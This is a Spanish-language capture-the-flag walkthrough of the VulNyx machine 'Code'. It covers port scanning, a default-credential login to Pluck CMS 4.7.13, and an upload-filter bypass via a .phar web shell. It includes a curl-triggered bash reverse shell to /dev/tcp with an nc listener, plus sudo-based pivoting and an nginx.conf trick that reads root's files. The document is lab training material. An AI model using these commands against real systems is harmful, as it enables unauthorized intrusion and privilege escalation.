VulNyx - Code

logo

  • Pluck CMS 4.7.13 - File Upload RCE (Authenticated) - Manual
  • Abuse bash Binary - User Pivoting
  • Abuse nginx Binary - Privesc

Escaneo de puertos

❯ nmap -p- -T5 -n -v 192.168.1.14

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 192.168.1.14

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey: 
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP TCP - 80

http

Realizo fuerza bruta de directorios.

❯ gobuster dir -u 192.168.1.14 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.14
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/pluck                (Status: 301) [Size: 312] [--> http://192.168.1.14/pluck/]

Visito el nuevo directorio.

pluck

Al darle click a admin me lleva a un formulario de login, también se puede apreciar la versión pluck 4.7.13.

adminpluck

Pruebo contraseñas por defecto y consigo acceder al panel.

adminPanel

Me voy a pages/manage files

menumanage

En manage files subo una shell.

managefiles

La sube correctamente pero convierte el archivo php en txt.

uploadoktxt

Si visualizo el archivo se puede observar que es un txt.

cmdtext

Abro burpusite e intercepto la petición.

burpsuite

Mando la peticion al intruder.

intruder-payload

En payload añado una lista de extensiones.

extensions

Una vez termina me voy al directorio files y observo que varias extensiones no se han convertido en txt.

filesD

Obtengo ejecución remota de comandos con el archivo cmd.phar.

RCE

Uso curl para mandarme una shell de bash.

❯ curl "192.168.1.14/pluck/files/cmd.phar?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.17%2F4444%200%3E%261%22"

Obtengo la shell.

❯ nc -lvp 4444
listening on [any] 4444 ...
192.168.1.14: inverse host lookup failed: Unknown host
connect to [192.168.1.17] from (UNKNOWN) [192.168.1.14] 34882
bash: cannot set terminal process group (482): Inappropriate ioctl for device
bash: no job control in this shell
www-data@code:/var/www/html/pluck/files$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Enumero permisos de sudo.

www-data@code:/var/www/html/pluck/files$ sudo -l
Matching Defaults entries for www-data on code:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User www-data may run the following commands on code:
    (dave) NOPASSWD: /usr/bin/bash

Paso de usuario www-data a dave de la siguiente forma.

www-data@code:/var/www/html/pluck/files$ sudo -u dave /usr/bin/bash
dave@code:/var/www/html/pluck/files$ id
uid=1000(dave) gid=1000(dave) groups=1000(dave)

Vuelvo a enumerar permisos de sudo.

dave@code:~$ sudo -l
Matching Defaults entries for dave on code:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dave may run the following commands on code:
    (root) NOPASSWD: /usr/sbin/nginx

Después de varias pruebas d4t4s3c me da una pista para a crear el archivo nginx.conf.

user root;
events {
    worker_connections 1024;
}
http {
    server {
        listen 65001;
        location / {
    root /;
    }

    }
}

Con socket statistics compruebo las conexiones de red.

ss

Lanzo nginx con la flag -c para que el binario use el archivo de configuración que tengo en la carpeta /tmp.

dave@code:/tmp$ sudo /usr/sbin/nginx -c /tmp/nginx.conf

Compruebo que nginx se ha iniciado correctamente.

nginx-ss

Con curl obtengo la llave rsa de root pero se puede observar que está encriptada.

id_rsa

He intentado romper el passphrase sin éxito y después de darle muchas vueltas d4t4s3c me ha ofrecido una valiosa pista que me ha llevado al siguiente directorio el cual ya visité anteriormente pero por una mala enumeración se me pasó por alto el archivo pass.php.

pluck-settings

Lanzo cat para ver el contenido de pass.php y encuentro una cadena que parece ser una contraseña.

passphp

Obtengo el root.

root

Y aquí termina la máquina Code.

Saludos!